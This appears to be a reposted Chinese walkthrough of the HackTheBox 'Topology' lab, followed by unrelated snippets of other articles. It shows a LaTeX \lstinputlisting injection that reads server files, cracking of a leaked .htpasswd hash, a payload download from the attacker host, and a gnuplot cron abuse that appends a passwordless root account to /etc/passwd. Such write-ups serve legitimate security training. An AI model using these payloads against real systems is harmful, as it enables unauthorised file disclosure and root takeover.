HTB:Topology[WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

提取并保存靶机TCP开放端口号

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用浏览器访问靶机80端口

将靶机IP与域名进行绑定使DNS从本地解析

使用ffuf对该域名进行路径FUZZ

与此同时,在该页面我还注意到了一个超链接

将靶机IP与该子域名进行绑定使DNS从本地解析

使用ffuf尝试爆破其他子域名

将这两个子域名与靶机IP进行绑定

使用浏览器访问子域名latex.topology.htb

边界突破

使用searchsploit搜索该WebAPP

回到子域名文件列表查看header.tex文件

通过页面下方的示例及大模型检索该WebAPP语法,我尝试利用该包进行漏洞利用

尝试在输入框中键入:\listings{/etc/passwd}

在输入框中键入:$\listings{/etc/passwd}$

我使用大模型对该包的语法进行检索

在输入框中键入:$\lstinputlisting{/etc/passwd}$

但是只能盲目查看靶机本地文件难以突破,我尝试查看靶机的其他子域名

子域名:stats.topology.htb

使用wappalyzer插件查看该页技术栈

使用ffuf对该子域名进行路径FUZZ

子域名:dev.topology.htb

使用wappalyzer插件查看该页技术栈

使用ffuf对该子域名进行路径FUZZ

由于靶机所有子域名包括主域名均使用Apache服务器,因此我尝试读取Apache对Web的设置文件,它的位置通常是固定的

由于.htaccess通常记录着.htpasswd路径,而.htaccess文件通常位于Web服务器的document root路径下,因此我尝试读取.htaccess文件内容

尝试直接读取.htpasswd文件内容

使用john对该哈希值进行字典爆破

使用上述凭证登录靶机SSH服务

在/home/vdaisley目录下可见user.txt文件

权限提升

查看当前用户可sudo执行的文件

查找靶机内的SUID文件

查找靶机内CAP_SUID能力文件

查看靶机网络连接

查看靶机内的进程

控制靶机从攻击机中将pspy64进行下载

尝试列出该目录文件内容

通过大模型查询该命令语法

将该脚本文件移动到/opt/gnuplot目录下

重新创建一个脚本,使其在/etc/passwd文件追加一个空密码的root用户0dayhp


连接至HTB服务器并启动靶机

靶机IP:10.10.11.217

分配IP:10.10.16.13


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.11.217 -r 1-65535 --ulimit 5000 | tee res

提取并保存靶机TCP开放端口号
ports=$(grep syn-ack res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep syn-ack res | cut -d/ -f1 | paste -sd,
22,80
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep syn-ack res | cut -d/ -f1 | paste -sd,)                 
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports                                                                
22,80

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn 10.10.11.217

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.11.217

使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.217

使用浏览器访问靶机80端口

  • 页面展示,我先注意到了邮箱后的域名

将靶机IP与域名进行绑定使DNS从本地解析
sed -i '1i 10.10.11.217 topology.htb' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.217 topology.htb' /etc/hosts
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n1 /etc/hosts                                              
10.10.11.217 topology.htb

使用ffuf对该域名进行路径FUZZ
ffuf -u http://topology.htb/FUZZ -w ../dictionary/Entire-Dir.txt -t 200

与此同时,在该页面我还注意到了一个超链接

  • 点击后跳转至:http://latex.topology.htb/equation.php

将靶机IP与该子域名进行绑定使DNS从本地解析
sed -i '1i 10.10.11.217 latex.topology.htb' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.217 latex.topology.htb' /etc/hosts
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n2 /etc/hosts                                             
10.10.11.217 latex.topology.htb
10.10.11.217 topology.htb

使用ffuf尝试爆破其他子域名

将这两个子域名与靶机IP进行绑定
sed -i '1i 10.10.11.217 dev.topology.htb\n10.10.11.217 stats.topology.htb' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.217 dev.topology.htb\n10.10.11.217 stats.topology.htb' /etc/hosts
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n4 /etc/hosts
10.10.11.217 dev.topology.htb
10.10.11.217 stats.topology.htb
10.10.11.217 latex.topology.htb
10.10.11.217 topology.htb

使用浏览器访问子域名latex.topology.htb

  • 就如一开始点击超链接跳转的那样,我选择优先查看equation.php文件

使用此公式生成器创建.PNG文件。

请在文本字段中输入LaTeX内联数学模式语法(目前仅支持oneliner)。点击“生成”将直接返回一个.PNG文件,您可以使用Ctrl+S(或Command+S,如果在Mac上)保存。

  • 于是乎,根据描述我尝试输入:ImHandsomeBoy


边界突破

使用searchsploit搜索该WebAPP

searchsploit latex
  • 显然,没有符合的PoC

回到子域名文件列表查看header.tex文件

  • 其中的\usepackage{listings}引起了我的注意,这不就是文件包含吗?

通过页面下方的示例及大模型检索该WebAPP语法,我尝试利用该包进行漏洞利用

尝试在输入框中键入:\listings{/etc/passwd}
  • 页面响应后却是一片空白

  • 于是乎我对页面中的LaTeX内联数学模式语法进行检索

在输入框中键入:$\listings{/etc/passwd}$
  • 出乎意料的还是一片空白 :)

我使用大模型对该包的语法进行检索

  • 由输出可知,该包中使用\lstinputlisting来插入代码块
在输入框中键入:$\lstinputlisting{/etc/passwd}$

但是只能盲目查看靶机本地文件难以突破,我尝试查看靶机的其他子域名

子域名:stats.topology.htb

使用wappalyzer插件查看该页技术栈

使用ffuf对该子域名进行路径FUZZ

  • 该域名下可见.htpasswd这是个存储Web用户认证信息的文件
子域名:dev.topology.htb
  • 提示需要凭证

使用wappalyzer插件查看该页技术栈

使用ffuf对该子域名进行路径FUZZ
ffuf -u http://dev.topology.htb/FUZZ -w ../dictionary/Common-dir.txt -fl 15

  • 在该子域名下同样可见.htpasswd文件

由于靶机所有子域名包括主域名均使用Apache服务器,因此我尝试读取Apache对Web的设置文件,它的位置通常是固定的

Apache网页设置文件路径:/etc/apache2/sites-available/000-default.conf

  • 在/equation.php输入框中键入:$\lstinputlisting{/etc/apache2/sites-available/000-default.conf}$

  • 由页面展示可知,靶机Web文件根目录路径:/var/www/stats/var/www/dev/var/www/latex/var/www/html
由于.htaccess通常记录着.htpasswd路径,而.htaccess文件通常位于Web服务器的document root路径下,因此我尝试读取.htaccess文件内容
  • 尝试:$\lstinputlisting{/var/www/html/.htaccess}$。结果:响应空白页
  • 尝试:$\lstinputlisting{/var/www/stats/.htaccess}$。结果:响应空白页
  • 尝试:$\lstinputlisting{/var/www/dev/.htaccess}$。结果:/var/www/dev/.htpasswd

尝试直接读取.htpasswd文件内容
  • 在输入框中键入:$\lstinputlisting{/var/www/dev/.htpasswd}$

vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0

  • 将该哈希值保存到hash文件中以便爆破
echo 'vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0' > hash
使用john对该哈希值进行字典爆破
john hash --wordlist=../dictionary/rockyou.txt

账户:vdaisley

密码:calculus20

使用上述凭证登录靶机SSH服务

ssh vdaisley@10.10.11.217

在/home/vdaisley目录下可见user.txt文件

vdaisley@topology:~$ pwd
/home/vdaisley
vdaisley@topology:~$ ls
user.txt
vdaisley@topology:~$ cat user.txt
eb086c38cf5973e66fcfdf9b445d8a21


权限提升

查看当前用户可sudo执行的文件

sudo -l

vdaisley@topology:~$ sudo -l
[sudo] password for vdaisley:
Sorry, user vdaisley may not run sudo on topology.

查找靶机内的SUID文件

find / -perm -4000 -type f -ls 2>/dev/null

查找靶机内CAP_SUID能力文件

getcap -r / 2>/dev/null | grep -i cap_suid
  • 执行后无事发生

查看靶机网络连接

ss -tlnp

查看靶机内的进程

ps -aux

控制靶机从攻击机中将pspy64进行下载

curl -O http://10.10.16.13:6666/pspy64

vdaisley@topology:~$ ls
user.txt
vdaisley@topology:~$ curl -O http://10.10.16.13:6666/pspy64
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 3032k  100 3032k    0     0   884k      0  0:00:03  0:00:03 --:--:--  883k
vdaisley@topology:~$ ls
pspy64  user.txt

  • 为该文件赋执行权限
chmod +x pspy64
  • 执行该文件
./pspy64

  • 由输出可见,靶机系统内正在由root用户执行一个定时任务
  • 其任务具体为:在/opt/gnuplot目录下,不断查找.plt文件,并通过gnuplot处理这些文件
尝试列出该目录文件内容
ls /opt/gnuplot

vdaisley@topology:~$ ls /opt/gnuplot
ls: cannot open directory '/opt/gnuplot': Permission denied

  • 由于权限不足,我转而查看该目录权限分配情况
ls -ld /opt/gnuplot

vdaisley@topology:~$ ls -ld /opt/gnuplot
drwx-wx-wx 2 root root 4096 Jun 14  2023 /opt/gnuplot

  • 由输出可见,除去文件所有者拥有所有权限外,其他用户都拥有写入、执行权限
通过大模型查询该命令语法

  • 复制脚本
set print "/tmp/output.txt"print system("whoami")set print
将该脚本文件移动到/opt/gnuplot目录下
cp temp.plt /opt/gnuplot
  • 不多时,在/tmp目录下可见命令执行结果

vdaisley@topology:/tmp$ ls
linpeas.sh
output.txt
systemd-private-7bcc2bff28904d0eb86bf73eb9aec5df-apache2.service-IKmS1i
systemd-private-7bcc2bff28904d0eb86bf73eb9aec5df-ModemManager.service-QKnKch
systemd-private-7bcc2bff28904d0eb86bf73eb9aec5df-systemd-logind.service-eGxbSg
systemd-private-7bcc2bff28904d0eb86bf73eb9aec5df-systemd-resolved.service-jy6JBf
systemd-private-7bcc2bff28904d0eb86bf73eb9aec5df-systemd-timesyncd.service-0GBPbi
tmux-1007
vmware-root_676-2731021186
vdaisley@topology:/tmp$ cat output.txt
root

重新创建一个脚本,使其在/etc/passwd文件追加一个空密码的root用户0dayhp
set print "/tmp/output.txt"print system("echo '0dayhp::0:0:0dayhp:/root:/bin/bash' >> /etc/passwd")set print
  • 等待一分钟,再查看/etc/passwd文件可见该用户被成功追加

  • 直接切换到该用户
su 0dayhp

vdaisley@topology:~$ su 0dayhp
root@topology:/home/vdaisley# id
uid=0(root) gid=0(root) groups=0(root)
root@topology:/home/vdaisley# whoami
root

  • 最后,在/root目录下找到了root.txt文件

root@topology:~# pwd
/root
root@topology:~# ls
root.txt
root@topology:~# cat root.txt
072610980f24f146f3ea8d62394de75c

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/505624.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【 Verdi实用技巧-Part-3】

Verdi实用技巧-Part-3 3 Verdi实用技巧-Part-33.1 nWave window(看波形窗口)3.2 收集coverage3.3 nWave window3.4 Verdi-->app3.5 Force信号用Verdi去debug 本篇文章继续介绍Verdi实用技巧–Part-3; 3 Verdi实用技巧-Part-3 3.1 nWave window(看波形窗口) nWave window …

Vue sm3国密 IE模式报错处理

1、sm-crypto 转义错误 查看报错信息包名 在vue.config.js的transpileDependencies中把依赖包添加进去,让babel能够转译sm-crypto包 babel.config.js module.exports {presets: [[vue/app, {useBuiltIns: entry}]] }2、exports.destroy (() > { … }&a…

docker 基本使用

-do1.安装docker: Redirecting… 0. docker内使用gpu, 安装nvidia-docker: https://github.com/NVIDIA/nvidia-docker, 安装后使用:nvidia-container-cli -k -d /dev/tty list, 验证正确,无报错,即为正确 1. docker 启动image,如…

手机的ip地址是根据电话卡归属地定吗

在智能手机普及的今天,IP地址作为我们连接互联网的“门牌号”,其来源和确定方式常常引发用户的好奇。特别是关于手机IP地址是否与电话卡的归属地直接相关,这一话题更是众说纷纭。本文将深入探讨这一问题,为您揭开手机IP地址与电话…

计算机网络 (32)用户数据报协议UDP

前言 用户数据报协议(UDP,User Datagram Protocol)是计算机网络中的一种重要传输层协议,它提供了无连接的、不可靠的、面向报文的通信服务。 一、基本概念 UDP协议位于传输层,介于应用层和网络层之间。它不像TCP那样提…

YOLOv5改进 | CARAFE提高精度的上采样方法

目录 1 CARAFE模块原理 1.1 上采样的表示 1.2 Motivation 2 YOLOv5中加入CARAFE模块 2.1 ultralytics/nn/modules/block.py文件配置 2.2 ultralytics/nn/tasks.py配置 2.3 创建添加优化点模块的yolov5x-CARAFE.yaml 参考文献 1 CARAFE模块原理 上采样操作可以表示为…

高通,联发科(MTK)等手机平台调优汇总

一、常见手机型号介绍: ISP除了用在安防行业,还有手机市场,以及目前新型的A/VR眼睛,机器3D视觉机器人,医疗内窥镜这些行业。 下面是一些最近几年发布的,,,旗舰SOC型号: 1.联发科:天玑92…

windows从0开始配置llamafactory微调chatglm3-6b

后续会更新 从0学习LLaMaFactory参数解释说明 ,请期待~ 文章目录 一、准备工作1、创建python虚拟环境(annoconda)2、配置pytorch傻瓜版3、llamafactory配置4、微调数据准备5、开始微调5.1 webui启动微调5.2 指令启动微调 一、准备工作 1、创建python虚拟环境(annoc…

某漫画网站JS逆向反混淆流程分析

文章目录 1. 写在前面1. 接口分析2. 反混淆分析 【🏠作者主页】:吴秋霖 【💼作者介绍】:擅长爬虫与JS加密逆向分析!Python领域优质创作者、CSDN博客专家、阿里云博客专家、华为云享专家。一路走来长期坚守并致力于Pyth…

netplan apply报错No module named ‘netifaces‘

Ubuntu 20.04.5 LTS \n \l,ctrlaltf2切换字符登录f1切换图形 处理办法: root登录执行 rootnode37:/disk1/Qwen2.5-72B-Instruct-GPTQ-Int4# cat /etc/netplan/01-network-manager-all.yaml # Let NetworkManager manage all devices on this system …

LabVIEW 系统诊断

LabVIEW 系统诊断是指通过各种工具和方法检测、评估、分析和解决 LabVIEW 程序和硬件系统中可能存在的故障和性能问题。系统诊断不仅涵盖软件层面的调试与优化,还包括硬件交互、数据传输、实时性能等方面的检查和分析。一个成功的系统诊断能够显著提升LabVIEW应用程…

【Docker】docker compose 安装 Redis Stack

注:整理不易,请不要吝啬你的赞和收藏。 前文 Redis Stack 什么是? 简单来说,Redis Stack 是增强版的 Redis ,它在传统的 Redis 数据库基础上增加了一些高级功能和模块,以支持更多的使用场景和需求。Redis…

慧集通(DataLinkX)iPaaS集成平台-数据流程之流程透明化调试功能简介

在线运行流程 查看运行状态 流程第一次执行状态显示 流程第二次执行状态显示(由于订单已同步到七星ERP中,由于还是这些订单所以第二次同步时就报错了) 点击查看节点组件的详细入参与出参信息 U8C销售订单读取组件执行时详情 入参-查询条件…

数据集-目标检测系列- 电话 测数据集 call_phone >> DataBall

数据集-目标检测系列- 电话 测数据集 call DataBall 助力快速掌握数据集的信息和使用方式,会员享有 百种数据集,持续增加中。 需要更多数据资源和技术解决方案,知识星球: “DataBall - X 数据球(free)” 贵在坚持! …

【PPTist】公式编辑、插入音视频、添加动画

一、插入公式 点击公式的时候 latexEditorVisible 会变成 true src/views/Editor/CanvasTool/index.vue <Modalv-model:visible"latexEditorVisible" :width"880" ><LaTeXEditor close"latexEditorVisible false"update"data &…

istio-proxy oom问题排查步骤

1. 查看cluster数量 cluster数量太多会导致istio-proxy占用比较大的内存&#xff0c;此时需检查是否dr资源的host设置有配置为* 2. 查看链路数据采样率 若采样率设置过高&#xff0c;在压测时需要很大的内存来维护链路数据。可以调低采样率或增大istio-proxy内存。 检查iop中…

【数据库】四、数据库管理与维护

文章目录 四、数据库管理与维护1 安全性管理2 事务概述3 并发控制4 备份与恢复管理 四、数据库管理与维护 1 安全性管理 安全性管理是指保护数据库&#xff0c;以避免非法用户进行窃取数据、篡改数据、删除数据和破坏数据库结构等操作 三个级别认证&#xff1a; 服务器级别…

rhcsa练习(3)

1 、创建文件命令练习&#xff1a; &#xff08; 1 &#xff09; 在 / 目录下创建一个临时目录 test &#xff1b; mkdir /test &#xff08; 2 &#xff09;在临时目录 test 下创建五个文件&#xff0c;文件名分别为 passwd &#xff0c; group &#xff0c; bashrc &#x…

如何设计一个注册中心?以Zookeeper为例

这是小卷对分布式系统架构学习的第8篇文章&#xff0c;在写第2篇文章已经讲过服务发现了&#xff0c;现在就从组件工作原理入手&#xff0c;讲讲注册中心 以下是面试题&#xff1a; 某团面试官&#xff1a;你来说说怎么设计一个注册中心&#xff1f; 我&#xff1a;注册中心嘛&…

【云商城】高性能门户网构建

第3章 高性能门户网构建 网站门户就是首页 1.OpenResty 百万并发站点架构 ​ 1).OpenResty 特性介绍 ​ 2).搭建OpenResty ​ 3).Web站点动静分离方案剖析 2.Lua语法学习 ​ 1).Lua基本语法 3.多级缓存架构实战 ​ 1).多级缓存架构分析 用户请求网站&#xff0c;最开始…